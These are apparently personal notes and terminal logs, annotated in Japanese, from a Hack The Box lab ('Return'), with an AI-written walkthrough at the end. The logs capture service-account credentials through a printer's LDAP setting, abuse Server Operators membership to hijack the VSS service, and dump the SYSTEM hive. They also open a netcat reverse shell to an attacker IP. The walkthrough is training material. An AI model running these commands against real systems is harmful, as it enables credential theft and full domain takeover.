SMB 10.129.95.241 445 PRINTER [*] Windows 10 / Server 2019 Build 17763 x64 (name:PRINTER) (domain:return.local) (signing:True) (SMBv1:False)
SMB 10.129.95.241 445 PRINTER [-] return.local\Administrator:34386a771aaca697f447754e4863d38a STATUS_LOGON_FAILURE
WINRM 10.129.95.241 5985 PRINTER [*] Windows 10 / Server 2019 Build 17763 (name:PRINTER) (domain:return.local)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.95.241 5985 PRINTER [-] return.local\Administrator:34386a771aaca697f447754e4863d38a
┌──(kali@kali)-[~/htb/Return/10.129.95.241]
└─$
*Evil-WinRM* PS C:\Users\svc-printer\Documents> sc.exe qc VSS
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: VSS
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Windows\system32\vssvc.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Volume Shadow Copy
DEPENDENCIES : RPCSS
SERVICE_START_NAME : LocalSystem
*Evil-WinRM* PS C:\Users\svc-printer\Documents> sc.exe config VSS binPath= "cmd.exe /c net localgroup Administrators svc-printer /add"
[SC] ChangeServiceConfig SUCCESS
*Evil-WinRM* PS C:\Users\svc-printer\Documents> sc.exe start VSS
[SC] StartService FAILED 1053:
The service did not respond to the start or control request in a timely fashion.
*Evil-WinRM* PS C:\Users\svc-printer\Documents> net localgroup Administrators
Alias name Administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
Domain Admins
Enterprise Admins
svc-printer
The command completed successfully.
*Evil-WinRM* PS C:\Users\svc-printer\Documents>
*Evil-WinRM* PS C:\Users\svc-printer\Documents> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ ============ ===============================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Print Operators Alias S-1-5-32-550 Mandatory group, Enabled by default, Enabled group
BUILTIN\Server Operators Alias S-1-5-32-549 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators Alias S-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group owner
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288
*Evil-WinRM* PS C:\Users\svc-printer\Documents>
flag検索
cmd /c "dir C:\Users\root.txt /s /b"
cmd /c "dir C:\root.txt /s /b"
*Evil-WinRM* PS C:\Users\svc-printer\Documents> ipconfig ; hostname; whoami ; cat C:\Users\Administrator\Desktop\root.txt
Windows IP Configuration
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . : .htb
IPv6 Address. . . . . . . . . . . : dead:beef::951:154:e402:6d51
Link-local IPv6 Address . . . . . : fe80::951:154:e402:6d51%10
IPv4 Address. . . . . . . . . . . : 10.129.95.241
Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:464c%10
10.129.0.1
printer
return\svc-printer
<REDACTED_FLAG>
*Evil-WinRM* PS C:\Users\svc-printer\Documents>
Server Operatorsの時
sc.exe qc VSS
sc.exe config VSS binPath= "cmd.exe /c net localgroup Administrators svc-printer /add"
sc.exe config VSS binPath= "cmd.exe /c net localgroup Administrators return\svc-printer /add"
sc.exe start VSS
net localgroup Administrators
ntds.dit
*Evil-WinRM* PS C:\Windows\Temp> set context persistent nowriters
A positional parameter cannot be found that accepts argument 'nowriters'.
At line:1 char:1
+ set context persistent nowriters
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidArgument: (:) [Set-Variable], ParameterBindingException
+ FullyQualifiedErrorId : PositionalParameterNotFound,Microsoft.PowerShell.Commands.SetVariableCommand
*Evil-WinRM* PS C:\Windows\Temp> add volume c: alias oscp
The term 'add' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.
At line:1 char:1
+ add volume c: alias oscp
+ ~~~
+ CategoryInfo : ObjectNotFound: (add:String) [], CommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
*Evil-WinRM* PS C:\Windows\Temp> create
The term 'create' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.
At line:1 char:1
+ create
+ ~~~~~~
+ CategoryInfo : ObjectNotFound: (create:String) [], CommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
*Evil-WinRM* PS C:\Windows\Temp> expose %oscp% z:
The term 'expose' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.
At line:1 char:1
+ expose %oscp% z:
+ ~~~~~~
+ CategoryInfo : ObjectNotFound: (expose:String) [], CommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
*Evil-WinRM* PS C:\Windows\Temp> diskshadow /s C:\Windows\Temp\diskshadow.txt
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer: PRINTER, 7/16/2026 4:15:25 PM
Script file not found.
DISKSHADOW.EXE [/s <scriptfile> [param1] [param2] [param3] ...] [/l <logfile>]
- Runs script mode
DISKSHADOW.EXE [/l <logfile>]
- Interactive mode
/s <scriptfile> [param1] [param2] [param3] ... [paramX]
- Script mode. Include environment parameters in script using
%DISKSH_PARAM_1%, %DISKSH_PARAM_2%, %DISKSH_PARAM_3%, ..., %DISKSH_PARAM_X%
to reference [paramX] above.
/l <logfile> - Output log file
*Evil-WinRM* PS C:\Windows\Temp> robocopy /b Z:\Windows\NTDS C:\Windows\Temp ntds.dit
-------------------------------------------------------------------------------
ROBOCOPY :: Robust File Copy for Windows
-------------------------------------------------------------------------------
Started : Thursday, July 16, 2026 4:15:41 PM
2026/07/16 16:15:41 ERROR 3 (0x00000003) Getting File System Type of Source Z:\Windows\NTDS\
The system cannot find the path specified.
Source = Z:\Windows\NTDS\
Dest : C:\Windows\Temp\
Files : ntds.dit
Options : /DCOPY:DA /COPY:DAT /B /R:1000000 /W:30
------------------------------------------------------------------------------
2026/07/16 16:15:41 ERROR 3 (0x00000003) Accessing Source Directory Z:\Windows\NTDS\
The system cannot find the path specified.
*Evil-WinRM* PS C:\Windows\Temp> reg save HKLM\SYSTEM C:\Windows\Temp\system.save
The operation completed successfully.
*Evil-WinRM* PS C:\Windows\Temp> ls
Directory: C:\Windows\Temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 7/16/2026 3:40 PM DiagTrack_alternativeTrace
d----- 7/16/2026 3:40 PM DiagTrack_aot
d----- 7/16/2026 3:40 PM DiagTrack_diag
d----- 7/16/2026 3:40 PM DiagTrack_miniTrace
d----- 9/27/2021 6:04 AM vmware-SYSTEM
-a---- 7/16/2026 4:09 PM 45272 nc64.exe
-a---- 7/16/2026 4:08 PM 16896 SeRestoreAbuse.exe
-a---- 7/16/2026 3:41 PM 102 silconfig.log
-a---- 7/16/2026 4:15 PM 15925248 system.save
-a---- 9/27/2021 5:59 AM 206 temBC3F.tmp
-a---- 9/29/2021 12:04 AM 21128 vmware-vmsvc-SYSTEM.log
-a---- 9/27/2021 4:46 AM 52365 vmware-vmsvc.log
-a---- 9/29/2021 12:04 AM 495 vmware-vmtoolsd-Administrator.log
-a---- 7/16/2026 3:40 PM 594 vmware-vmtoolsd-SYSTEM.log
-a---- 9/29/2021 12:04 AM 6640 vmware-vmusr-Administrator.log
-a---- 9/27/2021 4:46 AM 12982 vmware-vmusr.log
-a---- 7/16/2026 3:40 PM 480 vmware-vmvss-SYSTEM.log
-a---- 9/27/2021 4:43 AM 2016 vmware-vmvss.log
*Evil-WinRM* PS C:\Windows\Temp>
⇒なんでできない？
@" set context persistent nowriters add volume c: alias oscp create expose %oscp% z: "@ | Out-File -Encoding ascii C:\Windows\Temp\diskshadow.txt
@" set context persistent add volume c: alias oscp create expose %oscp% z: "@ | Out-File -Encoding ascii C:\Windows\Temp\diskshadow.txt
@" set context persistent nowriters add volume c: alias oscp create expose %oscp% z: "@ | Set-Content -Encoding ascii C:\Windows\Temp\diskshadow.txt
diskshadow /s C:\Windows\Temp\diskshadow.txt
dir Z:\
dir Z:\Windows\NTDS
*Evil-WinRM* PS C:\Windows\Temp> diskshadow /s C:\Windows\Temp\diskshadow.txt
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer: PRINTER, 7/16/2026 4:23:41 PM
-> set context persistent nowriters
-> add volume c: alias oscp
COM call "(*vssObject)->InitializeForBackup" failed.
*Evil-WinRM* PS C:\Windows\Temp> dir Z:\
Cannot find drive. A drive with the name 'Z' does not exist.
At line:1 char:1
+ dir Z:\
+ ~~~~~~~
+ CategoryInfo : ObjectNotFound: (Z:String) [Get-ChildItem], DriveNotFoundException
+ FullyQualifiedErrorId : DriveNotFound,Microsoft.PowerShell.Commands.GetChildItemCommand
*Evil-WinRM* PS C:\Windows\Temp> dir Z:\Windows\NTDS
Cannot find drive. A drive with the name 'Z' does not exist.
At line:1 char:1
+ dir Z:\Windows\NTDS
+ ~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ObjectNotFound: (Z:String) [Get-ChildItem], DriveNotFoundException
+ FullyQualifiedErrorId : DriveNotFound,Microsoft.PowerShell.Commands.GetChildItemCommand
*Evil-WinRM* PS C:\Windows\Temp>
⇒失敗
restore remode
SeRestoreAbuse.exe
wget https://raw.githubusercontent.com/AlexLinov/Compiled-Binaries/main/SeRestoreAbuse.exe
C:\Windows\Temp\SeRestoreAbuse.exe "cmd /c C:\Windows\Temp\nc64.exe 10.10.15.93 443 -e cmd.exe"
C:\Windows\Temp\SeRestoreAbuse.exe "cmd /c whoami > C:\Windows\Temp\whoami.txt"
type C:\Windows\Temp\whoami.txt
*Evil-WinRM* PS C:\Windows\Temp> C:\Windows\Temp\SeRestoreAbuse.exe "cmd /c C:\Windows\Temp\nc64.exe 10.10.15.93 443 -e cmd.exe"
RegCreateKeyExA result: 0
RegSetValueExA result: 0
┌──(kali@kali)-[~/htb/Return/10.129.95.241]
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.15.93] from (UNKNOWN) [10.129.95.241] 60432
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
C:\Windows\system32>
⇒これ成功
Utilman置換
wget https://raw.githubusercontent.com/gtworek/PSBits/master/Misc/EnableSeRestorePrivilege.ps1
upload EnableSeRestorePrivilege.ps1
*Evil-WinRM* PS C:\Users\svc-printer\Documents> cmd.exe /c copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe
cmd.exe : Access is denied.
+ CategoryInfo : NotSpecified: (Access is denied.:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
0 file(s) copied.
*Evil-WinRM* PS C:\Users\svc-printer\Documents>
⇒失敗
bloodhound
nxc ldap 10.129.95.241 -d return.local -u svc-printer -p '1edFg43012!!' --bloodhound --collection All --dns-server 10.129.95.241
┌──(kali@kali)-[~/htb/Return/10.129.95.241]
└─$ sudo vim /etc/hosts
┌──(kali@kali)-[~/htb/Return/10.129.95.241]
└─$ nxc ldap 10.129.95.241 -d return.local -u svc-printer -p '1edFg43012!!' --bloodhound --collection All --dns-server 10.129.95.241
LDAP 10.129.95.241 389 PRINTER [*] Windows 10 / Server 2019 Build 17763 (name:PRINTER) (domain:return.local)
LDAP 10.129.95.241 389 PRINTER [+] return.local\svc-printer:1edFg43012!! (Pwn3d!)
LDAP 10.129.95.241 389 PRINTER Resolved collection methods: container, acl, psremote, dcom, group, trusts, rdp, session, objectprops, localadmin
LDAP 10.129.95.241 389 PRINTER Done in 00M 18S
LDAP 10.129.95.241 389 PRINTER Compressing output into /home/kali/.nxc/logs/PRINTER_10.129.95.241_2026-07-17_072944_bloodhound.zip
┌──(kali@kali)-[~/htb/Return/10.129.95.241]
└─$
⇒
svc-printer から domain adminへのパス
Path not found.
walkthrough(AI)¶
このAI版 walkthrough は、生メモを短い再現手順として整理したもの。Return はプリンタ管理画面の LDAP 設定を攻撃端末に向け、サービスアカウントの平文パスワードを捕獲してから、Server Operators の権限で管理者化する。
1. Web 管理画面を確認¶
Web にはプリンタの管理画面があり、LDAP 設定を変更できる。LDAP Server の向き先を攻撃端末に変えると、認証情報が攻撃端末へ送られる。
2. LDAP 認証情報を待ち受ける¶
攻撃端末側で Responder または 389/tcp の netcat を待ち受ける。
sudo responder -I tun0
または、平文の流れを確認するために 389/tcp で待つ。
nc -lnvp 389
Web 管理画面から LDAP 設定を保存すると、svc-printer のパスワードが取得できる。
svc-printer / 1edFg43012!!
3. svc-printer の認証確認¶
取得した資格情報を SMB / RDP / WinRM に試す。
for p in smb rdp winrm; do nxc $p 10.129.95.241 -u svc-printer -p '1edFg43012!!' --continue-on-success; done
WinRM が通る。
evil-winrm -i 10.129.95.241 -u svc-printer -p '1edFg43012!!'
4. Server Operators を確認¶
whoami /all でグループを確認すると、svc-printer は Server Operators に所属している。
whoami /all
Server Operators は一部サービスの設定変更ができるため、サービスの binPath を悪用できる。
5. サービス binPath を悪用して Administrators に追加¶
VSS サービスの設定を確認し、起動時に svc-printer を local Administrators に追加するコマンドへ変更する。
sc.exe qc VSS
sc.exe config VSS binPath= "cmd.exe /c net localgroup Administrators svc-printer /add"
sc.exe start VSS
追加されたことを確認する。
net localgroup Administrators
whoami /groups
6. root flag を取得¶
管理者権限で Administrator の flag を読む。
type C:\Users\svc-printer\Desktop\user.txt
type C:\Users\Administrator\Desktop\root.txt
7. 攻撃の流れまとめ¶
Printer web LDAP settings
→ LDAP Server を攻撃端末へ変更
→ svc-printer の平文パスワード捕獲
→ WinRM as svc-printer
→ Server Operators を確認
→ サービス binPath 悪用
→ svc-printer を local Administrators に追加
→ root flag
drill¶
LDAP認証情報の捕獲¶
sudo responder -I tun0
nc -lnvp 389
svc-printerの認証確認¶
for p in smb rdp winrm; do nxc $p 10.129.95.241 -u svc-printer -p '1edFg43012!!' --continue-on-success; done
svc-printerでWinRM¶
evil-winrm -i 10.129.95.241 -u svc-printer -p '1edFg43012!!'
Server Operatorsの確認とサービス悪用¶
whoami /all
sc.exe qc VSS
sc.exe config VSS binPath= "cmd.exe /c net localgroup Administrators svc-printer /add"
sc.exe start VSS
net localgroup Administrators
whoami /groups
フラグ確認¶
type C:\Users\svc-printer\Desktop\user.txt
type C:\Users\Administrator\Desktop\root.txt